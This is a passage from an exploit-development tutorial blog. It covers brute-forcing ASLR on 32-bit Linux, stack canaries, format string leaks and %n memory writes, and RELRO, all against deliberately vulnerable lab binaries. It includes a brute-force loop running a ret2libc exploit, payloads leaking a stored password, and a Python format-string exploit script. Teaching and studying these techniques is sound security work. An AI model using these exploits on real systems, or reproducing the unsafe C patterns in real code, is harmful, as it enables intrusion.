2. Linux Exploit Countermeasures and Bypasses (3)
- published
- reading time
- 17 minutes
2. Bypassing ASLR (Address Space Layout Randomization):
As we discussed earlier, Address Space Layout Randomization, or ASLR, is a security feature designed to make exploitation more difficult by randomizing the memory addresses used by system and application components. Each time a program runs, ASLR repositions critical memory sections, including the stack, heap, libraries, and main executable, to random addresses. ASLR introduces randomness into the memory layout, meaning an exploit that relies on hardcoded addresses will fail unless it can dynamically locate the randomized segments. The core idea is to hinder an attacker from reliably predicting memory addresses for executing ROP (Return-Oriented Programming) chains, shellcode, or jumping to specific functions.
ASLR Entropy
The effectiveness of ASLR largely depends on the amount of entropy, or the degree of randomness, available on the platform:
- x86 ASLR Entropy: Due to limitations in address space size, x86 ASLR provides relatively low entropy, making brute-forcing a viable approach. For example:
- Stack and heap addresses may have around 8–16 bits of randomness.
- Shared libraries and the executable base may be randomized within a small 32-bit address range, giving a smaller number of permutations.
- x86_64 ASLR Entropy: On 64-bit architectures, there is far greater entropy (28–40 bits or more) in ASLR, making brute-force attacks far more challenging.
Brute-forcing ASLR on x86
Due to lower entropy, especially on 32-bit systems, brute-forcing ASLR is sometimes feasible. By repeatedly executing an exploit and adjusting for the randomized addresses, an attacker may eventually guess the correct address layout. In some cases, it can take hundreds or thousands of attempts but is more feasible than on 64-bit systems.
Enable full randomization on your system:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Now, each time you run binary, ASLR will be applied. Running ldd
multiple times illustrates this randomness:
$ ldd exp2_nx
linux-gate.so.1 (0xf7f10000)
libc.so.6 => /lib32/libc.so.6 (0xf7ca9000)
/lib/ld-linux.so.2 (0xf7f12000)
$ ldd exp2_nx | grep "libc.so.6"
libc.so.6 => /lib32/libc.so.6 (0xf7c9b000)
$ ldd exp2_nx | grep "libc.so.6"
libc.so.6 => /lib32/libc.so.6 (0xf7d3a000)
$ ldd exp2_nx | grep "libc.so.6"
libc.so.6 => /lib32/libc.so.6 (0xf7ca1000)
As you can see, only bits 12 to 23 in the address are randomized while the other bits remain constant. This gives about 212 possible locations (4096 combinations). On older systems, randomness may be reduced to 28, or just 256 combinations, allowing for faster brute-forcing attempts.
Because we know the randomized range, we can attempt the exploit in a loop, hoping to match the randomized libc_base
used when the binary is loaded:
$ # I renamed exp3.py to exp4.py
$ while true; do ./exp2_nx $(./exp4.py ); done 2>/dev/null
After a few seconds, you’ll see the shell spawn, signifying a successful guess! 🎉
while true; do ./exp2_nx $(./exp4.py ); done
bash: warning: command substitution: ignored null byte in input
Segmentation fault (core dumped)
bash: warning: command substitution: ignored null byte in input
Illegal instruction (core dumped)
bash: warning: command substitution: ignored null byte in input
Segmentation fault (core dumped)
bash: warning: command substitution: ignored null byte in input
Illegal instruction (core dumped)
bash: warning: command substitution: ignored null byte in input
Segmentation fault (core dumped)
bash: warning: command substitution: ignored null byte in input
Segmentation fault (core dumped)
bash: warning: command substitution: ignored null byte in input
Segmentation fault (core dumped)
bash: warning: command substitution: ignored null byte in input
Segmentation fault (core dumped)
bash: warning: command substitution: ignored null byte in input
Segmentation fault (core dumped)
bash: warning: command substitution: ignored null byte in input
Segmentation fault (core dumped)
bash: warning: command substitution: ignored null byte in input
*** stack smashing detected ***: terminated
Aborted (core dumped)
bash: warning: command substitution: ignored null byte in input
Illegal instruction (core dumped)
bash: warning: command substitution: ignored null byte in input
Segmentation fault (core dumped)
bash: warning: command substitution: ignored null byte in input
Segmentation fault (core dumped)
bash: warning: command substitution: ignored null byte in input
Segmentation fault (core dumped)
bash: warning: command substitution: ignored null byte in input
Segmentation fault (core dumped)
bash: warning: command substitution: ignored null byte in input
Segmentation fault (core dumped)
bash: warning: command substitution: ignored null byte in input
Segmentation fault (core dumped)
bash: warning: command substitution: ignored null byte in input
Segmentation fault (core dumped)
bash: warning: command substitution: ignored null byte in input
Segmentation fault (core dumped)
bash: warning: command substitution: ignored null byte in input
$ pwd
/home/kali/Desktop/Blogs/Materials/x86_exp_dev/03
3. Bypassing Stack Canaries:
Stack canaries, also known as canary values or stack cookies, are a security mechanism used to prevent buffer overflow attacks, particularly those that target the stack. They act as a safeguard between a buffer and critical control data (like return addresses) on the stack, allowing programs to detect potential overflows before they can be exploited. A canary value is placed on the stack just before the return address of a function. This means that if a buffer overflow occurs, the first data that gets overwritten will typically be the canary.
Let’s compile the following C program with -fstack-protector-all
flag:
#include <stdio.h>
#include <string.h>
void vuln(char *s) {
char buff[50];
strcpy(buff,s);
}
int main(int argc, char* argv[]) {
vuln(argv[1]);
}
$ gcc -m32 -fstack-protector-all exp1.c -o exp3_canary
To start, we’ll disable ASLR to simplify our analysis. Now, when we attempt to use our ret2libc
exploit (exp4.py
) on the binary, we encounter something new:
$ ./exp3_canary $(./exp4.py)
bash: warning: command substitution: ignored null byte in input
*** stack smashing detected ***: terminated
Aborted (core dumped)
The message “Stack smashing detected!” shows that our exploit attempt triggered the stack canary mechanism, designed to prevent buffer overflows from overwriting critical control information on the stack.
Let’s take a look at the disassembled vuln
function to understand what’s happening:
pwndbg> disass vuln
Dump of assembler code for function vuln:
0x0000119d <+0>: push ebp
0x0000119e <+1>: mov ebp,esp
0x000011a0 <+3>: push ebx
0x000011a1 <+4>: sub esp,0x54
0x000011a4 <+7>: call 0x1250 <__x86.get_pc_thunk.ax>
0x000011a9 <+12>: add eax,0x2e4b
0x000011ae <+17>: mov edx,DWORD PTR [ebp+0x8]
0x000011b1 <+20>: mov DWORD PTR [ebp-0x4c],edx
0x000011b4 <+23>: mov edx,DWORD PTR gs:0x14
0x000011bb <+30>: mov DWORD PTR [ebp-0xc],edx
0x000011be <+33>: xor edx,edx
0x000011c0 <+35>: sub esp,0x8
0x000011c3 <+38>: push DWORD PTR [ebp-0x4c]
0x000011c6 <+41>: lea edx,[ebp-0x3e]
0x000011c9 <+44>: push edx
0x000011ca <+45>: mov ebx,eax
0x000011cc <+47>: call 0x1050 <strcpy@plt>
0x000011d1 <+52>: add esp,0x10
0x000011d4 <+55>: nop
0x000011d5 <+56>: mov eax,DWORD PTR [ebp-0xc]
0x000011d8 <+59>: sub eax,DWORD PTR gs:0x14
0x000011df <+66>: je 0x11e6 <vuln+73>
0x000011e1 <+68>: call 0x1260 <__stack_chk_fail_local>
0x000011e6 <+73>: mov ebx,DWORD PTR [ebp-0x4]
0x000011e9 <+76>: leave
0x000011ea <+77>: ret
In this disassembly, we observe the following key steps involving the stack canary:
-
Stack Canary Initialization: At offset <+30>, the value at
gs:0x14
(the stack canary) is stored in[ebp-0xc]
. This canary acts as a “tripwire” and is meant to detect buffer overflows. -
Stack Canary Check:
- At offset <+56>, the canary value at
[ebp-0xc]
is compared with the original canary value fromgs:0x14
. - If they match, it means the stack is intact, and the function proceeds to execute normally.
- If they do not match, the
__stack_chk_fail_local
function is called at <+68>, which terminates the program with the “stack smashing detected” error.
- At offset <+56>, the canary value at
As previously discussed, stack canaries generally come in three types:
- Terminator Canaries: These use values that include null characters and other terminators (e.g.,
0x00
,0x0a
,0xff
). They prevent most string operations from overwriting the canary because these operations stop at these characters. - Random Canaries: Randomly generated values at runtime make it difficult for attackers to predict or replicate them, enhancing security.
- Random XOR Canaries: These are similar to random canaries but are encoded using XOR operations, providing additional layers of complexity against certain types of attacks.
Let’s examine the canary type used in our binary. We’ll set a breakpoint at offset <+30> in the vuln
function and check the value stored in the edx
register, which holds our canary.
$ gdb ./exp3_canary
pwndbg> b main
Breakpoint 1 at 0x11f9
pwndbg> run AAAAA
pwndbg> b *vuln + 30
Breakpoint 2 at 0x565561bb
pwndbg> c
pwndbg> reg edx
*EDX 0xac2a4c00
As we can see, our canary ends with 0x00, indicating it is a Terminator Canary. This choice prevents buffer overflows that rely on string operations since they terminate upon encountering 0x00.
Below diagram beautifully illustrates stack canary.
Image Source: https://squ1rrel.dev/buckeye-stackduck
Stack canaries can be bypassed in a few ways, such as brute-forcing, but a more effective method often involves leveraging information leaks within the binary. By leaking the stack canary, we can incorporate the correct canary value in our payload before overwriting the return address, effectively bypassing stack protections and executing our exploit successfully.
One of the most common ways to leak a stack canary is through Format String vulnerabilities. Let’s explore how format string vulnerabilities work and how we can use them to disclose protected data like stack canaries.
Format String Vulnerabilities
Format string vulnerabilities are a class of security issues that occur when an attacker controls the format string parameter of functions like printf
, sprintf
, or fprintf
without proper validation. These vulnerabilities allow attackers to perform unintended operations, such as reading from or writing to arbitrary memory locations, potentially leading to information leaks or even arbitrary code execution.
In typical use, a format function call might look like this:
printf("Hello, %s!", username);
Here, %s
is the format specifier that expects a string argument, and username
provides that argument.
However, if user-controlled data is passed directly to the format string without validation, as in:
printf(input);
an attacker could manipulate input
to include format specifiers (like %x
, %s
, or %n
) to read or write unintended data. For instance, using %x
can leak stack data, which may include sensitive information like function pointers, return addresses, or stack canaries.
Following are some examples of Format Functions, which if not treated, can expose the application to the Format String Attack.
Function | Description |
---|---|
fprint |
Writes the printf to a file |
printf |
Output a formatted string |
sprintf |
Prints into a string |
snprintf |
Prints into a string checking the length |
vfprintf |
Prints the va_arg structure to a file |
vprintf |
Prints the va_arg structure to stdout |
vsprintf |
Prints the va_arg to a string |
vsnprintf |
Prints the va_arg to a string checking the length |
Common parameters used in a Format String Attack.
Parameters | Output | Passed as |
---|---|---|
%% |
% character (literal) | Reference |
%p |
External representation of a pointer to void | Reference |
%d |
Decimal | Value |
%c |
Character | |
%u |
Unsigned decimal | Value |
%x |
Hexadecimal | Value |
%s |
String | Reference |
%n |
Writes the number of characters into a pointer | Reference |
Refer: https://owasp.org/www-community/attacks/Format_string_attack
For understanding format string vulnerabilty I want to show you how printf()
works.
Consider the following example program:
// gcc -m32 printf_demo.c -o printf_demo
#include <stdio.h>
int main() {
char *s1 = "Hello";
int num = 15;
printf("%s %d\n",s1,num);
}
In this code, printf
is used to print a string followed by a number. By examining how this works at the assembly level, we can better understand how format specifiers access and interpret arguments on the stack.
After compiling the program, load it into gdb and set a breakpoint at the printf
call:
$ gdb ./printf_demo
pwndbg> disass main
Dump of assembler code for function main:
...
0x000011c9 <+60>: mov ebx,eax
0x000011cb <+62>: call 0x1040 <printf@plt>
0x000011d0 <+67>: add esp,0x10
...
pwndbg> b printf@plt
Breakpoint 1 at 0x1040
pwndbg> run
pwndbg> stack
00:0000│ esp 0xffffd58c —▸ 0x565561d0 (main+67) ◂— add esp, 0x10
01:0004│-028 0xffffd590 —▸ 0x5655700e ◂— '%s %d\n'
02:0008│-024 0xffffd594 —▸ 0x56557008 ◂— 'Hello'
03:000c│-020 0xffffd598 ◂— 0xf
At this point, we observe the following stack layout just before printf
is executed:
- Return Address: The first item on the stack (
esp
points here) is the return address (main+67
), where execution will continue afterprintf
completes. - Arguments to
printf
:- Format String (
"%s %d\n"
): The format string%s %d\n
is next on the stack. It guidesprintf
on how to interpret the arguments that follow. - Pointer to String (
s1
): Following the format string is the pointer to the string"Hello"
. - Integer (
num
): Finally, the integernum
(15) is pushed onto the stack.
- Format String (
When printf
executes, it reads arguments in the order they appear in the format string, moving from right to left across the stack. Here’s how it processes each specifier:
%s
: The%s
format specifier tellsprintf
to expect a string. It locates the first argument after the format string (0x56557008
), which is a pointer to"Hello"
, and prints the string.%d
: The%d
format specifier instructsprintf
to expect an integer. It moves to the next argument (15 or0xf
) and prints it as a decimal number.
I’m sure this diagram I created will help clarify things for you!
Now, imagine if the arguments passed to printf
are just "%s %d\n", s1
. In this case, the %s
specifier would correctly print the string pointed to by s1
, but when printf
encounters %d
, it expects an integer argument. Since no integer was supplied, printf
will instead interpret whatever data is on the stack at that position as an integer and print it in decimal format.
This discrepancy can lead to unintended behavior, often revealing sensitive stack information if the unintentional data happens to be a valid address or value. This is a key aspect of format string vulnerabilities and demonstrates how improper handling of format specifiers can lead to information leaks.
Let’s do it practically!
// secret.c
#include <stdio.h>
void secret() {
char secret[12] = "p@ssw0rd!";
char buffer[20] ;
gets(buffer);
printf(buffer);
}
int main() {
secret();
}
On compiling and running we can see that the above program is vulnerable to format string bug.
$ ./secret
%p
0xf7fc6000
Let’s load it in gdb and see which data is printed and it was at what location in the stack.
$ gdb ./secret
pwndbg> b printf
Breakpoint 1 at 0x1040
pwndbg> run
Starting program: /home/kali/Desktop/Blogs/Materials/x86_exp_dev/03/secret
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
%p.%p.%p.%p
We gave input as %p.%p.%p.%p
. Let’s examine the stack:
pwndbg> stack 15
00:0000│ esp 0xffffd57c —▸ 0x565561df (secret+66) ◂— add esp, 0x10
01:0004│-038 0xffffd580 —▸ 0xffffd590 ◂— '%p.%p.%p.%p'
02:0008│-034 0xffffd584 —▸ 0xf7fc6000 ◂— jg 0xf7fc6047
03:000c│-030 0xffffd588 ◂— 0
04:0010│-02c 0xffffd58c —▸ 0x565561a9 (secret+12) ◂— add ebx, 0x2e4b
05:0014│ eax 0xffffd590 ◂— '%p.%p.%p.%p'
06:0018│-024 0xffffd594 ◂— 'p.%p.%p'
07:001c│-020 0xffffd598 ◂— 0x70252e /* '.%p' */
08:0020│-01c 0xffffd59c —▸ 0xf7d70964 ◂— 0x920 /* ' \t' */
09:0024│-018 0xffffd5a0 —▸ 0xf7fc0400 —▸ 0xf7d5f000 ◂— 0x464c457f
0a:0028│-014 0xffffd5a4 ◂— 'p@ssw0rd!'
0b:002c│-010 0xffffd5a8 ◂— 'w0rd!'
0c:0030│-00c 0xffffd5ac ◂— 0x21 /* '!' */
0d:0034│-008 0xffffd5b0 ◂— 0
0e:0038│-004 0xffffd5b4 —▸ 0xf7f94e14 ◂— 0x235d0c /* '\x0c]#' */
In this case, you can see the memory addresses of values pushed onto the stack in relation to our printf call. The format string we’re using, “%p.%p.%p.%p”, will print four hexadecimal pointers from the stack. Hence, We will see 0xf7fc6000 0 0x565561a9 … as we will be printing four hexadecimal pointers.
pwndbg> c
Continuing.
0xf7fc6000.(nil).0x565561a9.0x252e7025[Inferior 1 (process 691626) exited normally]
Here, our guess was correct—printf printed four consecutive stack values in hexadecimal. This is a powerful way to leak memory addresses by simply manipulating format specifiers.
To locate the secret string, examine the stack layout. By looking at the addresses on the stack, you’ll see that the target data (“p@ssw0rd!”) is at the 9th offset from our input.
One thing I forgot to mention that instead of using repetitive %p format specifiers, you can use the “%$p” format to access specific stack values directly. This lets you craft inputs more precisely
So by following this idea was can craft our input as “%p$9”. Let’ give it to the program and see.
$ ./secret
%9$p
0x73734070
As the we are working on 32 bit binary the pointer will be 32 bit only. We can use %llx
format specifier.
$ ./secret
%9$llx
6472307773734070
We can now convert this hexadecimal output to ASCII to reveal the string:
$ pwn unhex 6472307773734070
dr0wss@p
By repeating this process with other offsets, we can retrieve more characters if necessary.
$ ./secret
%10$llx
2164723077
$ # Converting this with pwn unhex also reveals additional characters:
$ pwn unhex 2164723077
!dr0w
We can also use smaller specifiers, such as %lx
, to print data in smaller chunks and even view individual characters with %c
if needed:
$ ./secret
%9$lx
73734070
$ ./secret
%10$lx
64723077
$ ./secret
%11$c
!
Each of these steps demonstrates how format string vulnerabilities enable an attacker to read and leak sensitive information.
Writing Data Using Format String Vulnerabilities
In addition to leaking data, format string vulnerabilities can also allow us to write arbitrary data to specific memory addresses. By carefully constructing a format string with %n specifiers, we can influence the value at a given address. This capability is often exploited to modify control flow or bypass security mechanisms in a program.
Here’s a step-by-step guide on how to exploit a format string vulnerability to write data.
Understanding the %n Specifier
The %n
specifier in printf
instructs the function to write the number of characters printed so far to the memory address provided as an argument. For example, if %n
is preceded by 10 characters in a formatted string, printf
will write the value 10
to the specified memory location.
This property of %n allows us to control what value gets written to an arbitrary address by adjusting the number of characters in the format string.
The following example demonstrates how to exploit format string vulnerabilities to modify memory using the %n
specifier, allowing us to change a variable’s value by writing to a specific address.
Consider this vulnerable program where the goal is to change the value of target
to 4
using the format string vulnerability.
// gcc -m32 -fno-stack-protector -z execstack write_fmt.c -o write_fmt
#include <stdio.h>
int main() {
int target = 0;
printf("Address of target: %p\n", &target);
printf("Input: ");
char buffer[100];
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
if (target == 0x4) {
printf("Success! You've changed the target variable.\n");
} else {
printf("Target remains unchanged.\n");
}
}
The %n
specifier in printf
writes the number of characters printed so far to the memory address specified as an argument. Here’s a minimal example:
// gcc -m32 -fno-stack-protector -z execstack fmt_n.c -o fmt_n
#include <stdio.h>
int main() {
int num = 0;
printf("AAAA%n",&num);
printf("\n");
printf("[+] num -> %d\n",num);
}
Running this example shows how %n
writes 4
to num
because AAAA
is four characters long:
$ ./fmt_n
AAAA
[+] num -> 4
Exploiting write_fmt with %n
In our target program, write_fmt
, we need to:
- Find the offset on the stack where our input is located.
- Use
%n
to write4
to the address oftarget
.
Step 1: Identifying the Offset
$ ./write_fmt
Address of target: 0xffffd61c
Input: AAAA %p %p %p %p %p %p %p
AAAA 0xc8 0xf7f955c0 0x565561c7 0xf63d4e2e 0x41414141 0x20702520 0x25207025
Target remains unchanged.
As we see, AAAA
(0x41414141
) is located in the fifth position on the stack. We can confirm this by checking:
$ ./write_fmt
Address of target: 0xffffd61c
Input: AAAA %5$x
AAAA 41414141
Target remains unchanged.
Step 2: Crafting the Payload
To overwrite target:
- Place
AAAA
to mark the fifth stack position. - Use
%7$n
to instruct printf to write to an address located at the seventh position. - Add the address of target as the seventh element.
The final payload structure is as follows:
AAAA
: marks our input at the fifth position.%7$n
: writes the current count to the address at the seventh position.struct.pack("<I", 0xffffd61c)
: places the address of target at the seventh position.
Note: Our stack is 4-byte aligned since we are working with a 32-bit binary.
Here’s the exploit script:
#!/usr/bin/python2
import struct
payload = "AAAA"
payload += "%7$n"
payload += struct.pack("<I", 0xffffd61c)
print(payload)
Running this payload script with write_fmt demonstrates the exploit in action:
$ ./fmt.py | ./write_fmt
Address of target: 0xffffd61c
Input: AAAA���
Success! You've changed the target variable.
This approach effectively uses the format string vulnerability to overwrite target with the desired value.
4. Bypassing RELRO (Relocation Read-Only):
RELRO, or Relocation Read-Only, is a security feature designed to prevent modifications to the Global Offset Table (GOT) at runtime. By making sections like the GOT read-only after loading, RELRO mitigates certain types of attacks, particularly GOT overwrites often used in exploit techniques like Return-Oriented Programming (ROP) and Jump-Oriented Programming (JOP).
There are two primary forms of RELRO:
- Partial RELRO
- Full RELRO
Bypassing Partial RELRO
Since the GOT is still writable under partial RELRO, we can overwrite specific entries to hijack execution flow. This is commonly done by redirecting GOT entries to malicious functions or to functions elsewhere in the binary.
Bypassing Full RELRO
With full RELRO enabled, direct GOT overwrites are no longer possible, so the attack strategy shifts toward alternative methods like ret2plt, where we might manipulate the binary’s PLT entries instead. In ret2plt, we redirect execution to a PLT stub that then jumps to our desired function.